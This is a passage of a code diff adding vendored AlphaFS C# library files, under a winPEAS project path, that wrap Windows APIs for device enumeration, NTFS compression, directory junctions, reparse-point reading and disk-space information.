// SafeCmConnectMachineHandle safeMachineHandle;
|
||||
|
||||
// var lastError = NativeMethods.CM_Connect_Machine(Host.GetUncName(hostName), out safeMachineHandle);
|
||||
|
||||
// NativeMethods.IsValidHandle(safeMachineHandle, lastError);
|
||||
|
||||
|
||||
// var classGuid = new Guid(Utils.GetEnumDescription(deviceGuid));
|
||||
|
||||
|
||||
// // Start at the "Root" of the device tree of the specified machine.
|
||||
|
||||
// using (safeMachineHandle)
|
||||
// using (var safeHandle = NativeMethods.SetupDiGetClassDevsEx(ref classGuid, IntPtr.Zero, IntPtr.Zero, NativeMethods.SetupDiGetClassDevsExFlags.Present | NativeMethods.SetupDiGetClassDevsExFlags.DeviceInterface, IntPtr.Zero, hostName, IntPtr.Zero))
|
||||
// {
|
||||
// NativeMethods.IsValidHandle(safeHandle, Marshal.GetLastWin32Error());
|
||||
|
||||
// uint memberInterfaceIndex = 0;
|
||||
// var interfaceStructSize = (uint)Marshal.SizeOf(typeof(NativeMethods.SP_DEVICE_INTERFACE_DATA));
|
||||
// var dataStructSize = (uint)Marshal.SizeOf(typeof(NativeMethods.SP_DEVINFO_DATA));
|
||||
|
||||
|
||||
// // Start enumerating device interfaces.
|
||||
|
||||
// while (true)
|
||||
// {
|
||||
// var interfaceData = new NativeMethods.SP_DEVICE_INTERFACE_DATA { cbSize = interfaceStructSize };
|
||||
|
||||
// var success = NativeMethods.SetupDiEnumDeviceInterfaces(safeHandle, IntPtr.Zero, ref classGuid, memberInterfaceIndex++, ref interfaceData);
|
||||
|
||||
// lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
// if (!success)
|
||||
// {
|
||||
// if (lastError != Win32Errors.NO_ERROR && lastError != Win32Errors.ERROR_NO_MORE_ITEMS)
|
||||
// NativeError.ThrowException(lastError, hostName);
|
||||
|
||||
// break;
|
||||
// }
|
||||
|
||||
|
||||
// // Create DeviceInfo instance.
|
||||
|
||||
// var diData = new NativeMethods.SP_DEVINFO_DATA {cbSize = dataStructSize};
|
||||
|
||||
// var deviceInfo = new DeviceInfo(hostName) {DevicePath = GetDeviceInterfaceDetail(safeHandle, ref interfaceData, ref diData).DevicePath};
|
||||
|
||||
|
||||
// if (getAllProperties)
|
||||
// {
|
||||
// deviceInfo.InstanceId = GetDeviceInstanceId(safeMachineHandle, hostName, diData);
|
||||
|
||||
// SetDeviceProperties(safeHandle, deviceInfo, diData);
|
||||
// }
|
||||
|
||||
// else
|
||||
// SetMinimalDeviceProperties(safeHandle, deviceInfo, diData);
|
||||
|
||||
|
||||
// yield return deviceInfo;
|
||||
// }
|
||||
// }
|
||||
//}
|
||||
|
||||
|
||||
#region Private Helpers
|
||||
|
||||
[SecurityCritical]
|
||||
private static string GetDeviceInstanceId(SafeCmConnectMachineHandle safeMachineHandle, string hostName, NativeMethods.SP_DEVINFO_DATA diData)
|
||||
{
|
||||
uint ptrPrevious;
|
||||
|
||||
var lastError = NativeMethods.CM_Get_Parent_Ex(out ptrPrevious, diData.DevInst, 0, safeMachineHandle);
|
||||
|
||||
if (lastError != Win32Errors.CR_SUCCESS)
|
||||
NativeError.ThrowException(lastError, hostName);
|
||||
|
||||
|
||||
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.DefaultFileBufferSize / 8)) // 512
|
||||
{
|
||||
lastError = NativeMethods.CM_Get_Device_ID_Ex(diData.DevInst, safeBuffer, (uint) safeBuffer.Capacity, 0, safeMachineHandle);
|
||||
|
||||
if (lastError != Win32Errors.CR_SUCCESS)
|
||||
NativeError.ThrowException(lastError, hostName);
|
||||
|
||||
|
||||
// Device InstanceID, such as: "USB\VID_8087&PID_0A2B\5&2EDA7E1E&0&7", "SCSI\DISK&VEN_SANDISK&PROD_X400\4&288ED25&0&000200", ...
|
||||
|
||||
return safeBuffer.PtrToStringUni();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Builds a Device Interface Detail Data structure.</summary>
|
||||
/// <returns>An initialized NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA instance.</returns>
|
||||
[SecurityCritical]
|
||||
private static NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA GetDeviceInterfaceDetail(SafeHandle safeHandle, ref NativeMethods.SP_DEVICE_INTERFACE_DATA interfaceData, ref NativeMethods.SP_DEVINFO_DATA infoData)
|
||||
{
|
||||
var didd = new NativeMethods.SP_DEVICE_INTERFACE_DETAIL_DATA {cbSize = (uint) (IntPtr.Size == 4 ? 6 : 8)};
|
||||
|
||||
var success = NativeMethods.SetupDiGetDeviceInterfaceDetail(safeHandle, ref interfaceData, ref didd, (uint) Marshal.SizeOf(didd), IntPtr.Zero, ref infoData);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (!success)
|
||||
NativeError.ThrowException(lastError);
|
||||
|
||||
return didd;
|
||||
}
|
||||
|
||||
|
||||
[SecurityCritical]
|
||||
private static string GetDeviceRegistryProperty(SafeHandle safeHandle, NativeMethods.SP_DEVINFO_DATA infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum property)
|
||||
{
|
||||
var bufferSize = NativeMethods.DefaultFileBufferSize / 8; // 512
|
||||
|
||||
while (true)
|
||||
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(bufferSize))
|
||||
{
|
||||
var success = NativeMethods.SetupDiGetDeviceRegistryProperty(safeHandle, ref infoData, property, IntPtr.Zero, safeBuffer, (uint) safeBuffer.Capacity, IntPtr.Zero);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
|
||||
if (success)
|
||||
{
|
||||
var value = safeBuffer.PtrToStringUni();
|
||||
|
||||
return !Utils.IsNullOrWhiteSpace(value) ? value.Trim() : null;
|
||||
}
|
||||
|
||||
|
||||
// MSDN: SetupDiGetDeviceRegistryProperty returns ERROR_INVALID_DATA error code if
|
||||
// the requested property does not exist for a device or if the property data is not valid.
|
||||
|
||||
if (lastError == Win32Errors.ERROR_INVALID_DATA)
|
||||
return null;
|
||||
|
||||
|
||||
bufferSize = GetDoubledBufferSizeOrThrowException(lastError, safeBuffer, bufferSize, property.ToString());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
[SecurityCritical]
|
||||
private static void SetDeviceProperties(SafeHandle safeHandle, DeviceInfo deviceInfo, NativeMethods.SP_DEVINFO_DATA infoData)
|
||||
{
|
||||
SetMinimalDeviceProperties(safeHandle, deviceInfo, infoData);
|
||||
|
||||
|
||||
deviceInfo.CompatibleIds = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.CompatibleIds);
|
||||
|
||||
deviceInfo.Driver = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Driver);
|
||||
|
||||
deviceInfo.EnumeratorName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.EnumeratorName);
|
||||
|
||||
deviceInfo.HardwareId = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.HardwareId);
|
||||
|
||||
deviceInfo.LocationInformation = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.LocationInformation);
|
||||
|
||||
deviceInfo.LocationPaths = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.LocationPaths);
|
||||
|
||||
deviceInfo.Manufacturer = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Manufacturer);
|
||||
|
||||
deviceInfo.Service = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Service);
|
||||
}
|
||||
|
||||
|
||||
[SecurityCritical]
|
||||
private static void SetMinimalDeviceProperties(SafeHandle safeHandle, DeviceInfo deviceInfo, NativeMethods.SP_DEVINFO_DATA infoData)
|
||||
{
|
||||
deviceInfo.BaseContainerId = new Guid(GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.BaseContainerId));
|
||||
|
||||
deviceInfo.ClassGuid = new Guid(GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.ClassGuid));
|
||||
|
||||
deviceInfo.DeviceClass = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.Class);
|
||||
|
||||
deviceInfo.DeviceDescription = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.DeviceDescription);
|
||||
|
||||
deviceInfo.FriendlyName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.FriendlyName);
|
||||
|
||||
deviceInfo.PhysicalDeviceObjectName = GetDeviceRegistryProperty(safeHandle, infoData, NativeMethods.SetupDiGetDeviceRegistryPropertyEnum.PhysicalDeviceObjectName);
|
||||
}
|
||||
|
||||
|
||||
[SecurityCritical]
|
||||
internal static int GetDoubledBufferSizeOrThrowException(int lastError, SafeHandle safeBuffer, int bufferSize, string pathForException)
|
||||
{
|
||||
if (null != safeBuffer && !safeBuffer.IsClosed)
|
||||
safeBuffer.Close();
|
||||
|
||||
|
||||
switch ((uint) lastError)
|
||||
{
|
||||
case Win32Errors.ERROR_MORE_DATA:
|
||||
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
|
||||
bufferSize *= 2;
|
||||
break;
|
||||
|
||||
|
||||
default:
|
||||
NativeMethods.IsValidHandle(safeBuffer, lastError, string.Format(CultureInfo.InvariantCulture, "Buffer size: {0}. Path: {1}", bufferSize.ToString(CultureInfo.InvariantCulture), pathForException));
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
return bufferSize;
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Repeatedly invokes InvokeIoControl with the specified input until enough memory has been allocated.</summary>
|
||||
[SecurityCritical]
|
||||
private static void InvokeIoControlUnknownSize<T>(SafeFileHandle handle, uint controlCode, T input, uint increment = 128)
|
||||
{
|
||||
var inputSize = (uint) Marshal.SizeOf(input);
|
||||
var outputLength = increment;
|
||||
|
||||
do
|
||||
{
|
||||
var output = new byte[outputLength];
|
||||
uint bytesReturned;
|
||||
|
||||
var success = NativeMethods.DeviceIoControlUnknownSize(handle, controlCode, input, inputSize, output, outputLength, out bytesReturned, IntPtr.Zero);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!success)
|
||||
{
|
||||
switch ((uint) lastError)
|
||||
{
|
||||
case Win32Errors.ERROR_MORE_DATA:
|
||||
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
|
||||
outputLength += increment;
|
||||
break;
|
||||
|
||||
default:
|
||||
if (lastError != Win32Errors.ERROR_SUCCESS)
|
||||
NativeError.ThrowException(lastError);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
break;
|
||||
|
||||
} while (true);
|
||||
}
|
||||
|
||||
#endregion // Private Helpers
|
||||
|
||||
|
||||
#endregion // Enumerate Devices
|
||||
|
||||
|
||||
#region Compression
|
||||
|
||||
/// <summary>[AlphaFS] Sets the NTFS compression state of a file or directory on a volume whose file system supports per-file and per-directory compression.</summary>
|
||||
/// <param name="transaction">The transaction.</param>
|
||||
/// <param name="isFolder">Specifies that <paramref name="path"/> is a file or directory.</param>
|
||||
/// <param name="path">A path that describes a folder or file to compress or decompress.</param>
|
||||
/// <param name="compress"><c>true</c> = compress, <c>false</c> = decompress</param>
|
||||
/// <param name="pathFormat">Indicates the format of the path parameter(s).</param>
|
||||
[SecurityCritical]
|
||||
internal static void ToggleCompressionCore(KernelTransaction transaction, bool isFolder, string path, bool compress, PathFormat pathFormat)
|
||||
{
|
||||
using (var handle = File.CreateFileCore(transaction, isFolder, path, ExtendedFileAttributes.BackupSemantics, null, FileMode.Open, FileSystemRights.Modify, FileShare.None, true, false, pathFormat))
|
||||
|
||||
InvokeIoControlUnknownSize(handle, NativeMethods.FSCTL_SET_COMPRESSION, compress ? 1 : 0);
|
||||
}
|
||||
|
||||
#endregion // Compression
|
||||
|
||||
|
||||
#region Link
|
||||
|
||||
/// <summary>[AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J").</summary>
|
||||
internal static void CreateDirectoryJunction(SafeFileHandle safeHandle, string directoryPath)
|
||||
{
|
||||
var targetDirBytes = Encoding.Unicode.GetBytes(Path.NonInterpretedPathPrefix + Path.GetRegularPathCore(directoryPath, GetFullPathOptions.AddTrailingDirectorySeparator, false));
|
||||
|
||||
var header = new NativeMethods.ReparseDataBufferHeader
|
||||
{
|
||||
ReparseTag = ReparsePointTag.MountPoint,
|
||||
ReparseDataLength = (ushort) (targetDirBytes.Length + 12)
|
||||
};
|
||||
|
||||
var mountPoint = new NativeMethods.MountPointReparseBuffer
|
||||
{
|
||||
SubstituteNameOffset = 0,
|
||||
SubstituteNameLength = (ushort) targetDirBytes.Length,
|
||||
PrintNameOffset = (ushort) (targetDirBytes.Length + UnicodeEncoding.CharSize),
|
||||
PrintNameLength = 0
|
||||
};
|
||||
|
||||
var reparseDataBuffer = new NativeMethods.REPARSE_DATA_BUFFER
|
||||
{
|
||||
ReparseTag = header.ReparseTag,
|
||||
ReparseDataLength = header.ReparseDataLength,
|
||||
|
||||
SubstituteNameOffset = mountPoint.SubstituteNameOffset,
|
||||
SubstituteNameLength = mountPoint.SubstituteNameLength,
|
||||
PrintNameOffset = mountPoint.PrintNameOffset,
|
||||
PrintNameLength = mountPoint.PrintNameLength,
|
||||
|
||||
PathBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - 16] // 16368
|
||||
};
|
||||
|
||||
targetDirBytes.CopyTo(reparseDataBuffer.PathBuffer, 0);
|
||||
|
||||
|
||||
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(reparseDataBuffer)))
|
||||
{
|
||||
safeBuffer.StructureToPtr(reparseDataBuffer, false);
|
||||
|
||||
uint bytesReturned;
|
||||
var succes = NativeMethods.DeviceIoControl2(safeHandle, NativeMethods.FSCTL_SET_REPARSE_POINT, safeBuffer, (uint) (targetDirBytes.Length + 20), IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!succes)
|
||||
NativeError.ThrowException(lastError, directoryPath);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Deletes an NTFS directory junction.</summary>
|
||||
internal static void DeleteDirectoryJunction(SafeFileHandle safeHandle)
|
||||
{
|
||||
var reparseDataBuffer = new NativeMethods.REPARSE_DATA_BUFFER
|
||||
{
|
||||
ReparseTag = ReparsePointTag.MountPoint,
|
||||
ReparseDataLength = 0,
|
||||
PathBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - 16] // 16368
|
||||
};
|
||||
|
||||
|
||||
using (var safeBuffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(reparseDataBuffer)))
|
||||
{
|
||||
safeBuffer.StructureToPtr(reparseDataBuffer, false);
|
||||
|
||||
uint bytesReturned;
|
||||
var success = NativeMethods.DeviceIoControl2(safeHandle, NativeMethods.FSCTL_DELETE_REPARSE_POINT, safeBuffer, NativeMethods.REPARSE_DATA_BUFFER_HEADER_SIZE, IntPtr.Zero, 0, out bytesReturned, IntPtr.Zero);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!success)
|
||||
NativeError.ThrowException(lastError);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Get information about the target of a mount point or symbolic link on an NTFS file system.</summary>
|
||||
/// <exception cref="NotAReparsePointException"/>
|
||||
/// <exception cref="UnrecognizedReparsePointException"/>
|
||||
[SecurityCritical]
|
||||
internal static LinkTargetInfo GetLinkTargetInfo(SafeFileHandle safeHandle, string reparsePath)
|
||||
{
|
||||
using (var safeBuffer = GetLinkTargetData(safeHandle, reparsePath))
|
||||
{
|
||||
var header = safeBuffer.PtrToStructure<NativeMethods.ReparseDataBufferHeader>(0);
|
||||
|
||||
var marshalReparseBuffer = (int) Marshal.OffsetOf(typeof(NativeMethods.ReparseDataBufferHeader), "data");
|
||||
|
||||
var dataOffset = (int) (marshalReparseBuffer + (header.ReparseTag == ReparsePointTag.MountPoint
|
||||
? Marshal.OffsetOf(typeof(NativeMethods.MountPointReparseBuffer), "data")
|
||||
: Marshal.OffsetOf(typeof(NativeMethods.SymbolicLinkReparseBuffer), "data")).ToInt64());
|
||||
|
||||
var dataBuffer = new byte[NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE - dataOffset];
|
||||
|
||||
|
||||
switch (header.ReparseTag)
|
||||
{
|
||||
// MountPoint can be a junction or mounted drive (mounted drive starts with "\??\Volume").
|
||||
|
||||
case ReparsePointTag.MountPoint:
|
||||
var mountPoint = safeBuffer.PtrToStructure<NativeMethods.MountPointReparseBuffer>(marshalReparseBuffer);
|
||||
|
||||
safeBuffer.CopyTo(dataOffset, dataBuffer);
|
||||
|
||||
return new LinkTargetInfo(
|
||||
Encoding.Unicode.GetString(dataBuffer, mountPoint.SubstituteNameOffset, mountPoint.SubstituteNameLength),
|
||||
Encoding.Unicode.GetString(dataBuffer, mountPoint.PrintNameOffset, mountPoint.PrintNameLength));
|
||||
|
||||
|
||||
case ReparsePointTag.SymLink:
|
||||
var symLink = safeBuffer.PtrToStructure<NativeMethods.SymbolicLinkReparseBuffer>(marshalReparseBuffer);
|
||||
|
||||
safeBuffer.CopyTo(dataOffset, dataBuffer);
|
||||
|
||||
return new SymbolicLinkTargetInfo(
|
||||
Encoding.Unicode.GetString(dataBuffer, symLink.SubstituteNameOffset, symLink.SubstituteNameLength),
|
||||
Encoding.Unicode.GetString(dataBuffer, symLink.PrintNameOffset, symLink.PrintNameLength), symLink.Flags);
|
||||
|
||||
|
||||
default:
|
||||
throw new UnrecognizedReparsePointException(reparsePath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// <summary>[AlphaFS] Get information about the target of a mount point or symbolic link on an NTFS file system.</summary>
|
||||
/// <exception cref="NotAReparsePointException"/>
|
||||
/// <exception cref="UnrecognizedReparsePointException"/>
|
||||
[SuppressMessage("Microsoft.Usage", "CA2202:Do not dispose objects multiple times")]
|
||||
[SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "Disposing is controlled.")]
|
||||
[SecurityCritical]
|
||||
private static SafeGlobalMemoryBufferHandle GetLinkTargetData(SafeFileHandle safeHandle, string reparsePath)
|
||||
{
|
||||
var safeBuffer = new SafeGlobalMemoryBufferHandle(NativeMethods.MAXIMUM_REPARSE_DATA_BUFFER_SIZE);
|
||||
|
||||
while (true)
|
||||
{
|
||||
uint bytesReturned;
|
||||
var success = NativeMethods.DeviceIoControl(safeHandle, NativeMethods.FSCTL_GET_REPARSE_POINT, IntPtr.Zero, 0, safeBuffer, (uint) safeBuffer.Capacity, out bytesReturned, IntPtr.Zero);
|
||||
|
||||
var lastError = Marshal.GetLastWin32Error();
|
||||
if (!success)
|
||||
{
|
||||
switch ((uint) lastError)
|
||||
{
|
||||
case Win32Errors.ERROR_MORE_DATA:
|
||||
case Win32Errors.ERROR_INSUFFICIENT_BUFFER:
|
||||
|
||||
// Should not happen since we already use the maximum size.
|
||||
|
||||
if (safeBuffer.Capacity < bytesReturned)
|
||||
safeBuffer.Close();
|
||||
break;
|
||||
|
||||
|
||||
default:
|
||||
if (lastError != Win32Errors.ERROR_SUCCESS)
|
||||
NativeError.ThrowException(lastError, reparsePath);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
else
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
return safeBuffer;
|
||||
}
|
||||
|
||||
#endregion // Link
|
||||
}
|
||||
}
|
||||
141
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DeviceInfo.cs
vendored
Normal file
141
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DeviceInfo.cs
vendored
Normal file
@@ -0,0 +1,141 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Security;
|
||||
using System.Security.Permissions;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>Provides access to information of a device, on a local or remote host.</summary>
|
||||
[SecurityPermission(SecurityAction.InheritanceDemand, UnmanagedCode = true)]
|
||||
[Serializable]
|
||||
[SecurityCritical]
|
||||
public sealed class DeviceInfo
|
||||
{
|
||||
#region Constructors
|
||||
|
||||
/// <summary>Initializes a DeviceInfo class.</summary>
|
||||
//[SecurityCritical]
|
||||
//public DeviceInfo()
|
||||
//{
|
||||
// HostName = Host.GetUncName();
|
||||
//}
|
||||
|
||||
/// <summary>Initializes a DeviceInfo class.</summary>
|
||||
/// <param name="host">The DNS or NetBIOS name of the remote server. <c>null</c> refers to the local host.</param>
|
||||
//[SecurityCritical]
|
||||
//public DeviceInfo(string host)
|
||||
//{
|
||||
// HostName = Host.GetUncName(host).Replace(Path.UncPrefix, string.Empty);
|
||||
//}
|
||||
|
||||
#endregion // Constructors
|
||||
|
||||
|
||||
#region Methods
|
||||
|
||||
/// <summary>Enumerates all available devices on the local host.</summary>
|
||||
/// <param name="deviceGuid">One of the <see cref="Filesystem.DeviceGuid"/> devices.</param>
|
||||
/// <returns><see cref="IEnumerable{DeviceInfo}"/> instances of type <see cref="Filesystem.DeviceGuid"/> from the local host.</returns>
|
||||
//[SecurityCritical]
|
||||
//public IEnumerable<DeviceInfo> EnumerateDevices(DeviceGuid deviceGuid)
|
||||
//{
|
||||
// return Device.EnumerateDevicesCore(HostName, deviceGuid, true);
|
||||
//}
|
||||
|
||||
#endregion // Methods
|
||||
|
||||
|
||||
#region Properties
|
||||
|
||||
/// <summary>Represents the <see cref="Guid"/> value of the base container identifier (ID) .The Windows Plug and Play (PnP) manager assigns this value to the device node (devnode).</summary>
|
||||
public Guid BaseContainerId { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the name of the device setup class that a device instance belongs to.</summary>
|
||||
public string DeviceClass { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the <see cref="Guid"/> of the device setup class that a device instance belongs to.</summary>
|
||||
public Guid ClassGuid { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the list of compatible identifiers for a device instance.</summary>
|
||||
public string CompatibleIds { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents a description of a device instance.</summary>
|
||||
public string DeviceDescription { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>The device interface path.</summary>
|
||||
public string DevicePath { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the registry entry name of the driver key for a device instance.</summary>
|
||||
public string Driver { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the name of the enumerator for a device instance.</summary>
|
||||
public string EnumeratorName { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the friendly name of a device instance.</summary>
|
||||
public string FriendlyName { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the list of hardware identifiers for a device instance.</summary>
|
||||
public string HardwareId { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>The host name that was passed to the class constructor.</summary>
|
||||
public string HostName { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Gets the instance Id of the device.</summary>
|
||||
public string InstanceId { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the bus-specific physical location of a device instance.</summary>
|
||||
public string LocationInformation { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the location of a device instance in the device tree.</summary>
|
||||
public string LocationPaths { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the name of the manufacturer of a device instance.</summary>
|
||||
public string Manufacturer { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Encapsulates the physical device location information provided by a device's firmware to Windows.</summary>
|
||||
public string PhysicalDeviceObjectName { get; internal set; }
|
||||
|
||||
|
||||
/// <summary>Represents the name of the service that is installed for a device instance.</summary>
|
||||
public string Service { get; internal set; }
|
||||
|
||||
#endregion // Properties
|
||||
}
|
||||
}
|
||||
272
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DiskSpaceInfo.cs
vendored
Normal file
272
winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/DiskSpaceInfo.cs
vendored
Normal file
@@ -0,0 +1,272 @@
|
||||
/* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov
|
||||
*
|
||||
* Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
* of this software and associated documentation files (the "Software"), to deal
|
||||
* in the Software without restriction, including without limitation the rights
|
||||
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
* copies of the Software, and to permit persons to whom the Software is
|
||||
* furnished to do so, subject to the following conditions:
|
||||
*
|
||||
* The above copyright notice and this permission notice shall be included in
|
||||
* all copies or substantial portions of the Software.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
* THE SOFTWARE.
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.Diagnostics.CodeAnalysis;
|
||||
using System.Globalization;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security;
|
||||
using winPEAS._3rdParty.AlphaFS;
|
||||
|
||||
namespace Alphaleonis.Win32.Filesystem
|
||||
{
|
||||
/// <summary>Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space,
|
||||
/// the total amount of free space, and the total amount of free space available to the user that is associated with the calling thread.
|
||||
/// <para>This class cannot be inherited.</para>
|
||||
/// </summary>
|
||||
[Serializable]
|
||||
[SecurityCritical]
|
||||
public sealed class DiskSpaceInfo
|
||||
{
|
||||
[NonSerialized] private readonly bool _initGetClusterInfo = true;
|
||||
[NonSerialized] private readonly bool _initGetSpaceInfo = true;
|
||||
[NonSerialized] private readonly CultureInfo _cultureInfo = CultureInfo.CurrentCulture;
|
||||
[NonSerialized] private readonly bool _continueOnAccessError;
|
||||
|
||||
|
||||
/// <summary>Initializes a DiskSpaceInfo instance.</summary>
|
||||
/// <param name="drivePath">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\server\share</param>
|
||||
/// <Remark>This is a Lazyloading object; call <see cref="Refresh()"/> to populate all properties first before accessing.</Remark>
|
||||
[SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")]
|
||||
[SecurityCritical]
|
||||
public DiskSpaceInfo(string drivePath)
|
||||
{
|
||||
if (Utils.IsNullOrWhiteSpace(drivePath))
|
||||
throw new ArgumentNullException("drivePath");
|
||||
|
||||
|
||||
drivePath = drivePath.Length == 1 ? drivePath + Path.VolumeSeparatorChar : Path.GetPathRoot(drivePath, false);
|
||||
|
||||
if (Utils.IsNullOrWhiteSpace(drivePath))
|
||||
throw new ArgumentException(Resources.InvalidDriveLetterArgument, "drivePath");
|
||||
|
||||
|
||||
// MSDN:
|
||||
// If this parameter is a UNC name, it must include a trailing backslash (for example, "\\MyServer\MyShare\").
|
||||
// Furthermore, a drive specification must have a trailing backslash (for example, "C:\").
|
||||
// The calling application must have FILE_LIST_DIRECTORY access rights for this directory.
|
||||
DriveName = Path.AddTrailingDirectorySeparator(drivePath, false);
|
||||
}
|
||||
|
||||
|
||||
/// <summary>Initializes a DiskSpaceInfo instance.</summary>
|
||||
